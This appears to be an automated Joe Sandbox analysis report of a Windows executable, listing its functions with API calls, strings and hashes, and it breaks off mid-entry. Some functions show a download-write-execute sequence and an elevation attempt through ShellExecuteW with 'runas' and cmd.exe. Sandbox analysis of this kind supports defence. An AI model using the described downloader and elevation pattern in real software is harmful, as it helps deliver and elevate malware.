Instruction Fuzzy Hash: A1E0653150422457FA2137E99C04B9A764ADF497B0F190123EC5ED61D0CBE0DC02C1BC

Non-executed Functions

Function 00D12340 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ee952e25a22fe5600719e129e6a69d76954a32707930552934fc297b8667f3ce
Instruction ID: 2bbe2156669ca67c280d36244cf92d174a782b6f25012fa7a0d301769a12ac7e
Opcode Fuzzy Hash: ee952e25a22fe5600719e129e6a69d76954a32707930552934fc297b8667f3ce
Instruction Fuzzy Hash: F0023D71E01219ABDF14CFA8D9906EEBBF1FF48314F248269D515A7380DB31A991CBA0

Function 00D07884 Relevance: 6.1, APIs: 4, Instructions: 70COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 00D07890
IsDebuggerPresent.KERNEL32 ref: 00D0795C
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00D07975
UnhandledExceptionFilter.KERNEL32(?), ref: 00D0797F

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: deeb342d2b78af3b21c113cba0b5d35b19bf605e0b463c1fe490443e1be1168b
Instruction ID: 8d4fd56c91a6dcfc7659bdcc3dafa6de63932bcefaed244f0207e66170de431c
Opcode Fuzzy Hash: deeb342d2b78af3b21c113cba0b5d35b19bf605e0b463c1fe490443e1be1168b
Instruction Fuzzy Hash: 7F31F8B5D053189BDF20DF64D9497CDBBB8AF08300F1041AAE40DAB290EB709B85CF55

Function 00D07B48 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 00D07B5E

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: a7e4b880e5157350338a8511b0ee3947d55d988ef9b7841f1ba2bd75889cffd3
Instruction ID: 8095f566217ca217fd8d1b6d0aad055b8dbaed0b71fdb04707c7ca56a8cdcd64
Opcode Fuzzy Hash: a7e4b880e5157350338a8511b0ee3947d55d988ef9b7841f1ba2bd75889cffd3
Instruction Fuzzy Hash: D1514971D04205ABEB29CF59D8817AEB7F1FB58310F28856AE409EB390D774A951CFB0

Function 00D02520 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 52
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32(00000008,0000020A), ref: 00D02534
HeapAlloc.KERNEL32(00000000), ref: 00D0253D
GetModuleFileNameW.KERNEL32(00000000,00000000,00000104), ref: 00D0254A
GetProcessHeap.KERNEL32(00000008,0000026A), ref: 00D02557
HeapAlloc.KERNEL32(00000000), ref: 00D0255A
wsprintfW.USER32 ref: 00D02567
ShellExecuteW.SHELL32(00000000,runas,cmd.exe,00000000,00000000,00000000), ref: 00D02587
GetProcessHeap.KERNEL32(00000000,?), ref: 00D02593
HeapFree.KERNEL32(00000000), ref: 00D0259C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 00D025A1
HeapFree.KERNEL32(00000000), ref: 00D025A4
ExitProcess.KERNEL32 ref: 00D025A8

Strings

/c "%s", xrefs: 00D02561
cmd.exe, xrefs: 00D0257B
runas, xrefs: 00D02580

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: Heap$Process$AllocFree$ExecuteExitFileModuleNameShellwsprintf
String ID: /c "%s"$cmd.exe$runas
API String ID: 3385381366-213241364
Opcode ID: 7cba380c34c5f16e930668a76924a9574154e77d96197ea49d090072796efc06
Instruction ID: 43c30c686b77e875b37f072d1d682745f82eca6b07a8f31b11f3fed386c26ae5
Opcode Fuzzy Hash: 7cba380c34c5f16e930668a76924a9574154e77d96197ea49d090072796efc06
Instruction Fuzzy Hash: F201FF71E803147AE61067E25C6EF9BBF6CFB48B51F044040F708E72D1CDA45945CA75

Function 00D01860 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 157
memoryprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00D025B0: InternetOpenW.WININET(00000000,00000000,00000000,00000000,04000000), ref: 00D025E1
Part of subcall function 00D025B0: InternetOpenUrlW.WININET(00000000,?,00000000,00000000,00000000,00000000), ref: 00D025FB
Part of subcall function 00D025B0: InternetReadFile.WININET(00000000,?,00000800,FFFFFFFF), ref: 00D02644
Part of subcall function 00D025B0: GetProcessHeap.KERNEL32(00000008,0000000100000000), ref: 00D0265A
Part of subcall function 00D025B0: RtlAllocateHeap.NTDLL(00000000), ref: 00D0265D
Part of subcall function 00D025B0: GetProcessHeap.KERNEL32(00000008,FFFFFFFF), ref: 00D026AA
Part of subcall function 00D025B0: RtlAllocateHeap.NTDLL(00000000), ref: 00D026AD
Part of subcall function 00D025B0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00D026D7
Part of subcall function 00D025B0: RtlFreeHeap.NTDLL(00000000), ref: 00D026DA
Part of subcall function 00D025B0: InternetCloseHandle.WININET(?), ref: 00D026E6
Part of subcall function 00D025B0: InternetCloseHandle.WININET(?), ref: 00D026F3

GetProcessHeap.KERNEL32(00000000,0000020A), ref: 00D018A0
HeapAlloc.KERNEL32(00000000), ref: 00D018A3
SHGetSpecialFolderPathW.SHELL32(00000000,00000000,00000023,00000000), ref: 00D018B6

Part of subcall function 00D06DD0: GetCurrentDirectoryW.KERNEL32(00000103,00000244,?,?,?,00000000,000000FF), ref: 00D06E5D

GetProcessHeap.KERNEL32(00000008,0000020A,00000000,00000000,000000FF,?), ref: 00D01989
HeapAlloc.KERNEL32(00000000), ref: 00D0198C
PathCombineW.SHLWAPI(00000000,?,?), ref: 00D019AA
CreateProcessW.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000008,00000000,00000000,00000044,?,?,00000000,00000000), ref: 00D01A1A
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00D01A2A
CloseHandle.KERNEL32(?,?,00000000,00000000), ref: 00D01A36
GetProcessHeap.KERNEL32(00000000,00000000,?,00000000,00000000), ref: 00D01A45
HeapFree.KERNEL32(00000000,?,00000000,00000000), ref: 00D01A48

Strings

D, xrefs: 00D019E9
.#v, xrefs: 00D01A2A, 00D01A36

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: Heap$Process$Internet$CloseHandle$AllocAllocateFreeOpenPath$CombineCreateCurrentDirectoryFileFolderReadSpecial
String ID: D$.#v
API String ID: 1797332775-1552311974
Opcode ID: 38a7b17dfc68f0c5c0251e03a66a4b618456efe20e0fdd09b45a62dd7c4fa6d5
Instruction ID: e9bba8b71e9d1ec858bd2356f8008baf76c972abc4c0e1d7f1e3adfe89012d86
Opcode Fuzzy Hash: 38a7b17dfc68f0c5c0251e03a66a4b618456efe20e0fdd09b45a62dd7c4fa6d5
Instruction Fuzzy Hash: 1A519035A01319ABDB20AFA0DC69BAAB778FF44700F1441A9F55DEA2D0DB709A45CF70

Function 00D08CBB Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D08DDA
___TypeMatch.LIBVCRUNTIME ref: 00D08EE8
_UnwindNestedFrames.LIBCMT ref: 00D0903A
CallUnexpected.LIBVCRUNTIME ref: 00D09055

Strings

csm, xrefs: 00D08D65
csm, xrefs: 00D08E11
csm, xrefs: 00D08CF8

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: f62eab1730f9abefc81df67f1538eea9091f48cae2712dd0cbaa77756dd8b35c
Instruction ID: a1fe8a2038eb29048ed2463d3aac221755ace03b9e4fd46a5d1e2d5103549f80
Opcode Fuzzy Hash: f62eab1730f9abefc81df67f1538eea9091f48cae2712dd0cbaa77756dd8b35c
Instruction Fuzzy Hash: 9EB18D71C00209DFCF15DFA4D881AAEBBB5FF14310B18415AE8896B292DB71DA51EFB1

Function 00D0E03E Relevance: 10.8, APIs: 7, Instructions: 329
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_strrchr.LIBCMT ref: 00D0E0C4

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: bae61aaf466f51dc2cfca6d4b3cb37822215d39356c954e04fc30a487091a812
Instruction ID: 38a655c7eaf597e0ad28a9f45c14a17647c5b8b1ccb9a3d4898a3f2ca60c3513
Opcode Fuzzy Hash: bae61aaf466f51dc2cfca6d4b3cb37822215d39356c954e04fc30a487091a812
Instruction Fuzzy Hash: 05B16572A00365AFDB11CF68CC81BEEBFA9EF55310F184965E948AB2C2D670D941C7B0

Function 00D08540 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D08577
___except_validate_context_record.LIBVCRUNTIME ref: 00D0857F
_ValidateLocalCookies.LIBCMT ref: 00D08608
__IsNonwritableInCurrentImage.LIBCMT ref: 00D08633
_ValidateLocalCookies.LIBCMT ref: 00D08688

Strings

csm, xrefs: 00D0861D

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: b5a3f694197298127cb6af26ae981539fa655d53679aa73ed7565b6f02b6dd29
Instruction ID: 62b2e6cdb99ed1134ab9379b38eaa024d5eee9d4d7bd2d97eeceac4ee06627eb
Opcode Fuzzy Hash: b5a3f694197298127cb6af26ae981539fa655d53679aa73ed7565b6f02b6dd29
Instruction Fuzzy Hash: 16419134A00218ABCF10DF68CC94B9EBBA5EF45314F588155E8589B3D2DB32DA45DFB0

Function 00D111E3 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00D112F2,B037FBD5,0000044C,00000000,00000000,?,?,00D1144C,00000022,FlsSetValue,00D1B244,00D1B24C,00000000), ref: 00D112A4

Strings

api-ms-, xrefs: 00D1123A
ext-ms-, xrefs: 00D1124E

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: b781687c34db1f29b71e1309f5f422f7c3e31a70db3528f61e29f9eab59d7ac6
Instruction ID: 87f458b1f6586ac9e758b917bd82e955c12bce3eddd25eb75dcd60078192f5a7
Opcode Fuzzy Hash: b781687c34db1f29b71e1309f5f422f7c3e31a70db3528f61e29f9eab59d7ac6
Instruction Fuzzy Hash: C621F379A00311BBDB219B64FC56ADA7769DB11770F284120EE05E72D0DE30EE81C6F4

Function 00D08984 Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D0897B,00D084E3,00D07A61), ref: 00D08992
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D089A0
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D089B9
SetLastError.KERNEL32(00000000,00D0897B,00D084E3,00D07A61), ref: 00D08A0B

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 982507b2f7d3072caadf8801b6ad89594287be0838e6c4c28754d24ed5e4705a
Instruction ID: 70f94ca34dcfef7b55680ae60dae20394dc9a7bb53f41aaad2784c3ff76634bb
Opcode Fuzzy Hash: 982507b2f7d3072caadf8801b6ad89594287be0838e6c4c28754d24ed5e4705a
Instruction Fuzzy Hash: FC01B1326183216EE62426B4BC96B7B6B89EB11774720022AF159851E2EF528C02A675

Function 00D0D007 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,B037FBD5,?,?,00000000,00D1861B,000000FF,?,00D0CFE3,00D0D0C7,?,00D0CFB7,00000000), ref: 00D0D03C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D0D04E
FreeLibrary.KERNEL32(00000000,?,?,00000000,00D1861B,000000FF,?,00D0CFE3,00D0D0C7,?,00D0CFB7,00000000), ref: 00D0D070

Strings

mscoree.dll, xrefs: 00D0D035
CorExitProcess, xrefs: 00D0D046

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 505205c4effeaf0ad7093c2d2ceb991a762390f8ae7be8b503485c5d0c625b18
Instruction ID: 885b3831776069cd49bf8002092757c66f5a5d493808595830eb3ded82787062
Opcode Fuzzy Hash: 505205c4effeaf0ad7093c2d2ceb991a762390f8ae7be8b503485c5d0c625b18
Instruction Fuzzy Hash: 8F01DF71900715BFCB218F90DC29BEEBBB9FB44B14F004129E815E22D0CF748881CAB0

Function 00D024B0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 00D024CC
OpenProcessToken.ADVAPI32(00000000), ref: 00D024D3
GetTokenInformation.ADVAPI32(?,00000014(TokenIntegrityLevel),?,00000004,?), ref: 00D024F3
CloseHandle.KERNEL32(?), ref: 00D02502

Strings

.#v, xrefs: 00D02502

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: ProcessToken$CloseCurrentHandleInformationOpen
String ID: .#v
API String ID: 215268677-507759092
Opcode ID: 8150b690af431a6a04a1dd69bbbef68b3a0cdd6046a486ac63cb74b406e811c2
Instruction ID: 618eac1bf11e6d0be808087140a1a0ae474fe214803a0903a7e58f8cd73f207b
Opcode Fuzzy Hash: 8150b690af431a6a04a1dd69bbbef68b3a0cdd6046a486ac63cb74b406e811c2
Instruction Fuzzy Hash: D301BB71A00218ABDB10DFA4DC59BBEBBB8FF08705F414559AA15E7290DB309A05CBA4

Function 00D145D0 Relevance: 7.7, APIs: 5, Instructions: 197COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 00D14655
__alloca_probe_16.LIBCMT ref: 00D1471E
__freea.LIBCMT ref: 00D14785

Part of subcall function 00D0DC7F: RtlAllocateHeap.NTDLL(00000000,00000000,00000000,?,00D0718C,00000000,?,00D06E07,0000044C,B037FBD5,7622F380,00000000,00000000,000000FF,?,00D014D5), ref: 00D0DCB1

__freea.LIBCMT ref: 00D14798
__freea.LIBCMT ref: 00D147A5

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: __freea$__alloca_probe_16$AllocateHeap
String ID:
API String ID: 1423051803-0
Opcode ID: 0a6dbb486ac5c39d3b59179ed08233a87e522a743bbf93e251656180f206d439
Instruction ID: 526caf5c7f014cbba5f3ae376d99657866adad6ba5105030844f0adab0d9a216
Opcode Fuzzy Hash: 0a6dbb486ac5c39d3b59179ed08233a87e522a743bbf93e251656180f206d439
Instruction Fuzzy Hash: 6451A272600216BBEB215F65EC81EFB7AA9EF85714B290129FD04D6290EF70DC90C6B0

Function 00D09AA2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00D09A53,00000000,?,00D22CE0,?,?,?,00D09BF6,00000004,InitializeCriticalSectionEx,00D19D38,InitializeCriticalSectionEx), ref: 00D09AAF
GetLastError.KERNEL32(?,00D09A53,00000000,?,00D22CE0,?,?,?,00D09BF6,00000004,InitializeCriticalSectionEx,00D19D38,InitializeCriticalSectionEx,00000000,?,00D099AD), ref: 00D09AB9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00D09AE1

Strings

api-ms-, xrefs: 00D09AC6

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: f8cbde968d61f0baddf6c8e5ed054820b784c81624496ec5154fa8aea9270835
Instruction ID: 90e84aa4e088e1609ce0c0be718c1ac4e88dae560edfe0bf06664b6ed9075cc1
Opcode Fuzzy Hash: f8cbde968d61f0baddf6c8e5ed054820b784c81624496ec5154fa8aea9270835
Instruction Fuzzy Hash: 18E0B870780305BBEF105BB1EC2AB5ABF559B41B50F14C030F90CE45E2DB61D99295F4

Function 00D14A9D Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(B037FBD5,00000000,00000000,?), ref: 00D14B00

Part of subcall function 00D10654: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,00D1477B,?,00000000,-00000008), ref: 00D106B5

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00D14D52
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00D14D98
GetLastError.KERNEL32 ref: 00D14E3B

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: 3ae75f8267003f87a6b43118ff619afac1e8dfe1274a378db05e8ba9c750fea6
Instruction ID: 5769347977cd958820d575f65f5e0233b96b48f879533cab9a538311dca04902
Opcode Fuzzy Hash: 3ae75f8267003f87a6b43118ff619afac1e8dfe1274a378db05e8ba9c750fea6
Instruction Fuzzy Hash: 3DD17075D04248AFCF15CFA8E890AEDBBB5FF08310F18456AE956EB351DB309942CB60

Function 00D08A64 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D08B2B
___AdjustPointer.LIBCMT ref: 00D08B4E
___AdjustPointer.LIBCMT ref: 00D08BEA

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287334338.0000000000D22000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287356544.0000000000D24000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_d00000_1stovl.jbxd

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 51ab03c744a92643977ad4fde0fd74c540efa8271c5d478513c873ac33302e45
Instruction ID: 42fee1efbc7d78131da8dca6c43c41949bb92269153fc694ac5f48ec4c47c3f2
Opcode Fuzzy Hash: 51ab03c744a92643977ad4fde0fd74c540efa8271c5d478513c873ac33302e45
Instruction Fuzzy Hash: D251C2B2A01706AFDB288F10D851B6AB7A4EF50710F18412DE9CE976D1DB71ED50E7B0

Function 00D171B6 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00D16320,00000000,00000001,?,?,?,00D14E8F,?,00000000,00000000), ref: 00D171CD
GetLastError.KERNEL32(?,00D16320,00000000,00000001,?,?,?,00D14E8F,?,00000000,00000000,?,?,?,00D15432,00000000), ref: 00D171D9

Part of subcall function 00D1719F: CloseHandle.KERNEL32(FFFFFFFE,00D171E9,?,00D16320,00000000,00000001,?,?,?,00D14E8F,?,00000000,00000000,?,?), ref: 00D171AF

___initconout.LIBCMT ref: 00D171E9

Part of subcall function 00D17161: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,00D17190,00D1630D,?,?,00D14E8F,?,00000000,00000000,?), ref: 00D17174

WriteConsoleW.KERNEL32(00000000,00000000,00000000,00000000,?,00D16320,00000000,00000001,?,?,?,00D14E8F,?,00000000,00000000,?), ref: 00D171FE

Memory Dump Source

Source File: 00000002.00000002.2287288341.0000000000D01000.00000020.00000001.01000000.00000004.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000002.00000002.2287258549.0000000000D00000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.2287312680.0000000000D19000.00000002.00000001.01000000.00000004.sdmpDownload File
